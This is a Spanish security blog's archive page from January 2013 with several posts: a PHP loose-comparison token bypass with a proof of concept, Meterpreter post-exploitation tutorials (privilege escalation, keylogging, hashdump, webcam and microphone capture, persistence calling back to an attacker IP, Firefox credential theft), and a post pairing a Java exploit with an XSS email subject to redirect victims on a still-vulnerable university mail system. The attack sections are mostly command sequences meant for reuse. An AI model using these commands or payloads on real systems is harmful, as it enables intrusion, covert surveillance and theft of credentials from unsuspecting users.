jueves, 31 de enero de 2013

Cómo un "==" puede volverte vulnerable

¡Saludos!

    Hoy recién acabo de terminar los exámenes, con pésimos resultados, y vuelvo a tener tiempo para poder escribir aquí y continuar con los distitnos proyectos que tenía abiertos. Aetsu terminará en breves también sus exámenes... asi que empezaremos las pruebas del podcast en breve. Como ya os dijimos por twitter, sería muy interesante que nos comentarais qué tipo de contenido quereis que incluyamos y sobre qué temás os gustaría que hablasemos.


    En estos días sin escribir por el blog han saltado distintos 0-days gordos, como el de Java, que supuestamente fue parcheado, y volvieron a sacar otro 0-day, y otro, y ya me perdí el culebrón porque era demasiado lío. Recordad: cada vez que instalais un navegador y no desactivais JAVA (ni usais NoScript), Dios mata a un gatito. A parte de JAVA, salieron otras noticias, como la vulne de Ruby on Rails, o las de los foros SMF (ya parcheada). Y es esta última sobre la que vamos a hablar en este post porque me ha resultado muy interesante el disclosure que han hecho, y me parece muy aplicable a otras tantas aplicaciones web :)


   La vulnerabilidad de los foros SMF que han liberado estos días permitía a un atacante poder resetear la contraseña a un administrador. Este es el post original del disclosure.

      El problema base que vuelve a la aplicación vulnerable es que hace una comprobación del token generado para resetear la password que es inadecuada, y que puede dar por bueno un token que no lo es. Recordemos que los token son cadenas de caracteres aleatorios que se incluyen en las peticiones de las aplicaciones web para evitar que los usuarios legítimos caigan en ataques CSRF . Se comprueba el token a través de una comparación, usando "==" , entre el supuesto valor del token que se ha generado y el valor que nosotros hemos incluido en la petición (en realidad en el caso de SMF se hace con los diez primeros caracteres de un hash MD5, pero estoy extrapolando la vulnerabilidad para cualquier otra aplicación). En el caso de que el token que nosotros hemos enviado no coincida con el que la aplicación espera, no se permite el reseteo del password, y viceversa, si ambos coinciden te permite cambiar el password.

      En teoría no hay nada extraño, es lo correcto. Compruebo la cadena generada con la que me da el usuario para ver si es la misma. El problema está en cómo se hace dicha comprobación. Resulta que al comprobar con "==" una cadena que empiece con dígitos, ésta se convierte automáticamente en una variable tipo integer. Y esto conlleva una segunda consecuencia, y es que se aplican las mismas reglas que a estas variables. Es decir, podemos usar notación exponencial, colocando una "e" entre la base y el exponente.

      ¿Qué ocurre cuando 0 o 1 es elevado a cualquier número? Que se quedan iguales. 0e123 es igual a 0, 0e523452345234523452345 es igual a 0, y  por lo tanto también igual a 0e123. Y lo mismo ocurre con el 1: 1e124 es igual a 1, y 1e5555 es igual a 1e124. ¿Veis donde está la vulnerabilidad? Probemos el siguiente PoC:

<?php
$key1 = "0e12345";
$key2 = $_GET['k'];
if ($key2 == $key1){

echo $key1 . ' es igual a ' . $key2;
} else {
echo $key1 . ' es diferente a ' . $key2;
}
?>



 Si probamos a pasarle ?k=0  nos dirá que son iguales. Pero ambos sabemos que ambas cadenas de caracteres son diferentes. Si probamos con 0e[cualquiercadena de nuemros] nos seguirá diciendo que los dos strings son iguales.  ¿A qué nos lleva esto?

  Una aplicación que genere unos tokens alfanuméricos y que no bloquee el número de intentos para hacer una determinaada petición, en alguno de esos tokens va a generar una cadena que será 0e[numeros] o 1e[numeros], por lo que su valor será 0 o 1. Si nosotros mandamos peticiones de forma continuada, alternando entre un string que empiece con 0e y otro con 1e, cuyo valor por lo tanto también será 0 o 1, llegarán a coincidir en algún momento y la petición será legitima.


  Me parece que esta vulnerabilidad es bastante intersante, y que es muy común encontrarla. Espero que reviseis vuestros códigos y a partir de ahora programeis teniendo en cuenta estas premisas.



Byt3z
5 0verl0ad Labs: enero 2013 ¡Saludos!     Hoy recién acabo de terminar los exámenes, con pésimos resultados, y vuelvo a tener tiempo para poder escribir aquí y contin...

lunes, 28 de enero de 2013

Coqueteando con Metasploit: Meterpreter VI


  Cierre de ciclo con esta entrada, pues concluyen las dedicadas al comando run y meterpreter. Su peculiaridad es que en esta ocasión se atacará una maquina virtual con Windows 7 (a diferencia de los ejemplos normales que suelen trabajar con Windows XP para que todo sea más "bonito") sobre la que se tendrán que elevar privilegios para utilizar ciertos scripts que de otra forma fallarían o no obtendrían tan buenos resultados.

  Lo primero que necesitamos es obtener mayores privilegios, para ello meterpreter contiene diversos scripts que, en función del sistema operativo y lo actualizado que esté, nos pueden ser de utilidad.
  En el caso de Windows basta con usar el autocompletado de Metasploit en post/windows/escalate para hacernos una idea de las opciones que tenemos disponibles.


Elevando privilegios

  Para dicha tarea utilizaremos, a modo de ejemplo, una vulnerabilidad en la planificación de tareas de Windows (MS10-092) que permitía elevar privilegios pero que fue corregida hace bastante tiempo.

  Su ejecución es tan simple como:
run post/windows/escalate/ms10_092_schelevator



   Una vez finalice el proceso, la victima conectara con Metasploit otorgándonos una nueva sesión con los ansiados privilegios. Para comprobar esto, basta con:
getprivs



Desbloquear la pantalla

  Como el titulo indica, el siguiente script permite desbloquear la pantalla de Windows.


Dicha tarea es tan simple como:
run screen_unlock
en el caso de querer revertir los cambios utilizaremos el parámetro -r:
run screen_unlock -r



Más posibilidades para el keylogger

  En anteriores entradas hemos visto como funcionaban los diversos keyloggers que incorporaba meterpreter, ahora vamos a extender las posibilidades capturando la contraseña de inicio de sesión de Windows, para ello lo primero es comprobar el proceso winlogon.exe y migrar a éste. Con ésto ya será posible obtener la ansiada clave.





Más posibilidades

  Con privilegios se ponen a nuestra disposición nuevos scripts que nos ofrecen más opciones. Ejemplos de esto son listar los usuarios conectados, ver la clave de licencia de Windows o activar el escritorio remoto en el sistema.

=> Usuarios conectados:
run /post/windows/gather/enum_logged_on_users

=> Licencias del sistema:
run /post/windows/gather/enum_ms_product_keys

=> Escritorio remoto:
run getgui -e

=> Contraseña del sistema:
run post/windows/gather/hashdump




Jugando con sniffers

  Una de las grandes posibilidades que posee meterpreter es el poder utilizar un sniffer desde el equipo comprometido y obtener el trafico capturado por éste, para ello utilizaremos packetrecorder.


 El primer paso para ejecutarlo es conocer las interfaces del equipo víctima, para ello:
run packetrecorder -li

cada una de estas interfaces es precedida de un numero o identificador que pasaremos como parámetro (flag -i) para escoger la interfaz que capturará el trafico.
run packetrecorder -i <identificador interfaz>



  Con el sniffer concluye la saga de meterpreter, aunque me he dejado en el tintero muchas más posibilidades el tratarlas todas requeriría dedicar un blog exclusivamente a ello. Si alguien quiere llegar mas lejos tanto en meterpreter como en Metasploit aquí os dejo unas referencias:

  Nos leemos en breve ;)

5 0verl0ad Labs: enero 2013   Cierre de ciclo con esta entrada, pues concluyen las dedicadas al  comando run y meterpreter . Su peculiaridad es que en esta ocasión se ...

lunes, 21 de enero de 2013

Coqueteando con Metasploit: Meterpreter V

  Quinta entrada de meterpreter y segunda del comando run en la que continuaremos viendo más scrips interesantes para extender las funcionalidades de la herramienta y ver las impresionantes posibilidades que ofrece.

Otro keylogger

  Meterpreter ya posee su propio keylogger llamado keyscan, pero con el comando run podemos extender las posibilidades de este con esta versión mas potente llamada keylogrecorder. Su utilización es muy sencilla:
run keylogrecorder

 Los archivos con la información interceptada se encuentran en /root/.msf4/logs/scripts/keylogrecorder.



Obteniendo información del sistema

  Otro de los scripts interesantes es scraper que permite obtener información muy variada y diversa del equipo comprometido almacenándola en una carpeta de forma ordenada.
run scraper

  Los datos obtenidos podemos encontrarlos en  /root/.msf4/logs/scripts/scraper.




Quiero escuchar tu voz ;)

  Con este título tan romántico os introduzco el script sound_recorder que realizará grabaciones del equipo comprometido utilizando el micrófono de éste (si tiene obviamente xD)  y las almacenará en /root/logs/sound_recorder.
run sound_recorder -l /root

 El flag -l permite especificar una ruta alternativa para guardar los ficheros.



Que escritorio tan bonito

  La siguiente posibilidad es controlar el equipo comprometido usando VNC, así de simple y directo. Basta con:
run vnc

  Acto seguido se nos abrirá una ventana con el escritorio de la víctima :D .




Quiero verte :D

  Ya solo nos quedaba para terminar de "conocer" a la víctima verla, tan simple como:
run webcam

   Una vez ejecutado el módulo meterpreter nos mostrará desde imágenes capturadas por la webcam hasta una sesión en streaming con ella, todo muy romántico ;).




  Otro post sobre run concluido y penúltimo de meterpreter. En el próximo veremos que sucede cuando se ataca una máquina y no se disponen de privilegios para actuar con total libertinaje en ésta.

Nos leemos en breve ;)

5 0verl0ad Labs: enero 2013   Quinta entrada de meterpreter y segunda del comando run en la que continuaremos viendo más scrips interesantes para extender las funcional...

lunes, 14 de enero de 2013

Sobre Java, Metasploit y el retorno del XSS universitario

  Estos días Java ha vuelto a ser noticia y no para bien, pues se comentaba en los medios la existencia de una nueva vulnerabilidad 0-Day que permite ejecutar código de forma remota. Ha sido clasificada como CVE 2013-0422.

  Metasploit por su parte acaba de incluirla en su rama gratuita, así que probaremos que tal funciona sobre la última versión de java disponible, Java 7 Update 10 (a día de hoy 13/01/2013).

  Lo primero que he hecho ha sido actualizar el navegador y el plugin de java a las últimas versiones de cada uno:


 Para, acto seguido lanzar metasploit y ejecutar un msfupdate para tener nuestro framework a la última con el exploit de java en su base de datos.

Lo siguiente es escoger el exploit y configurarlo:
use exploit/multi/browser/java_jre17_jmxbean
Establecemos la IP del servidor (la nuestra):
set SRVHOST <IP>
el puerto:
set SRVPORT <puerto>
y lanzamos el exploit:
exploit

 En este momento el servidor se quedará esperando conexiones y nos ofrecerá una dirección que será la que las víctimas accederán.



¿Cómo difundimos el enlace?

  Como comenté hace tiempo en el post Los peligros de un XSS - Un ejemplo universitario: Ronda final existía en el correo de mi universidad una vulnerabilidad que ejecutaba un XSS al recibir un correo en la bandeja, simplemente con escribir código html/Javascript en el asunto de un correo (gracias señor @z050 por mostrarme la genial imagen ;) ).


  Dicha vulnerabilidad sigue estando vigente, y es perfecta para que un atacante la aprovechase, así que terminal en mano vamos a mandar un correo de forma ANÓNIMA a una víctima (o varias) con un asunto adaptado para tal magnifica ocasión:
Subject:<script>document.location="dirección_facilitada_por_metasploit"</script>

  Cada receptor del correo, será redirigido automáticamente a la dirección del servidor de Metasploit y éste hará su trabajo:



  Mención "especial" por decirlo de alguna manera a Google-Chrome que muestra una advertencia referente a un plugin de Java que quiere ejecutarse preguntándonos si lo permitimos o no. En el caso de IE y Firefox éstos callan como putas y son comprometidos.


NOTA: Los que uséis Links estad tranquilos, sois inmunes ;) .


Fuente / Más información



Actualización => Desde ayer (13/01/2013) existe un parche por parte de Oracle ("Update 11") que corrige el fallo, ACTUALIZAD!!


Y aquí cierro mi particular versión sobre la esta peligrosa vulnerabilidad relacionada con la ultima versión de Java, nos leemos en breve ;)


5 0verl0ad Labs: enero 2013   Estos días Java ha vuelto a ser noticia y no para bien, pues se comentaba en los medios la existencia de una nueva vulnerabilidad  0-Day  ...

miércoles, 9 de enero de 2013

¡Estrenamos Radio!

Saludos,


     Espero que hayais iniciado bien el año. En mi caso, e imagino que en le de muchos de vosotros, lo he iniciado estudiando, pues Enero es fecha de los temidos exámenes del primer cuatrimestre. Una p*t*da de inicio, pero qué se le va a hacer. Asi que, como seguro os habreis percatado, he estado bastante ausente estas fechas. En mi defensa debo de decir que en mi casa la velocidad de internet era de 30kbps, asi que el intentar cargar alguna página se convertía en tortura -qué malacostumbrado estoy al internet de las urbes-. Menos mal que @Aetsu ha estado animando esto con sus posts sobre Metasploit  .


      Hoy os tenemos que anunciar que hemos abierto una estación de radio online, todavía en fase de pruebas, desde la que en un futuro a medio plazo vamos a emitir algún podcast o similar. Por ahora, al menos hasta que pase la fecha cautelar de exámenes -y posterior resaca-  y consigamos organizarnos, nos vamos a limitar a reproducir musica a modo de carta de ajuste.


  

      Podeis acceder a la radio desde el botón situado en la columna lateral (el box que pone "Radio Oficial", no tiene mucha pérdida). Se admiten peticiones de canciones (NO Reggaeton). Si me pillais a mi conectado, escuchareis Rock y Punk clásico; desconozco cuales son las preferencias musicales de Aetsu.


     ¡Se me olvidaba! El 14 se abre el plazo de inscripción para la Rooted Con, asi que si quereis pillar el descuento del primer tramo estad atentos.


        
5 0verl0ad Labs: enero 2013 Saludos,      Espero que hayais iniciado bien el año. En mi caso, e imagino que en le de muchos de vosotros, lo he iniciado estudiando, p...

martes, 8 de enero de 2013

Coqueteando con Metasploit: Meterpreter IV

  Primera entrada del año y cuarta de Meterpreter. Introduciremos el comando run que permite ejecutar scripts realizados para meterpreter ampliando ya la útil y cuantiosa cantidad de posibilidades que ofrece la aplicación.

  A continuación veremos distintos de estos scripts con las mas dispares funcionalidades pero todos útiles de un modo u otro.



Persistencia

  La orden persistance (antecedida por run) permite a meterpreter anclarse al inicio del sistema e intente establecer conexiones con la máquina atacante cada X tiempo.


  El siguiente comando permite que al inicio del sistema comprometido y en intervalos de 10 segundos éste intente conectar con la máquina del atacante:
run persistance -U -p 31337 -r 192.168.0.108 -i 10
donde:

  • -U => Ejecuta meterpreter cuando la víctima accede a su sistema.
  • -p <puerto a la escucha> => El puerto del equipo del atacante en donde se conectará la víctima, es necesario que el atacante tenga un "handler" escuchando en este puerto como vimos en anteriores entregas. 
  • -r <IP atacante> => La dirección IP del atacante.
  • -i <segundos> => El intervalo en segundos en el que la víctima intentará establecer conexión con el atacante.

  Una vez ejecutado, agrega una entrada de meterpreter al registro de Windows en la sección de las aplicaciones que arrancan al inicio.

  Para probar que funciona, cerramos la sesión de meterpreter y ponemos Metasploit a escuchar el puerto especificado antes (con el handler). En breve (en función del intervalo especificado) veremos como la víctima se conecta automáticamente.




¿ Es la víctima una máquina virtual?

  El siguiente script permite saber si el sistema comprometido es o no una máquina virtual. Para ello basta con:
run checkvm



Aplicaciones en el equipo comprometido

  También de forma simple es posible ver las aplicaciones que tiene el equipo comprometido instaladas y su respectiva versión. Esto puede ser muy útil a la hora de buscar determinados exploits para, por ejemplo, escalar privilegios.
run get_application_list




Obtener las credenciales de Firefox

 Para obtener jugosa información del navegador zorruno, existe otro script para hacernos la vida mas facil. Éste se encargará de descargar a nuestro equipo los archivos necesarios para después analizarlos con comodidad.
run post/multi/gather/firefox_creds

Existen gran cantidad de scripts para obtener las credenciales e información útil de muchos programas incluso en distintas versiones de éstos. Su utilización es similar a la de Firefox, basta con buscarlos en "post/multi/gather".



Variables de entorno

  Si se requieren las variables de entorno del equipo comprometido, su obtención es tan rápida como:
run get_env




  Y con esto cerramos la primera entrada del año y relaciona con los scripts de meterpreter. Quedan un par mas relacionadas con run  y cerraremos la subsaga de meterpreter.

  Un saludo, nos leemos en breve ;).

5 0verl0ad Labs: enero 2013   Primera entrada del año y cuarta de Meterpreter. Introduciremos el comando  run  que permite ejecutar scripts realizados para meterpreter ...
< >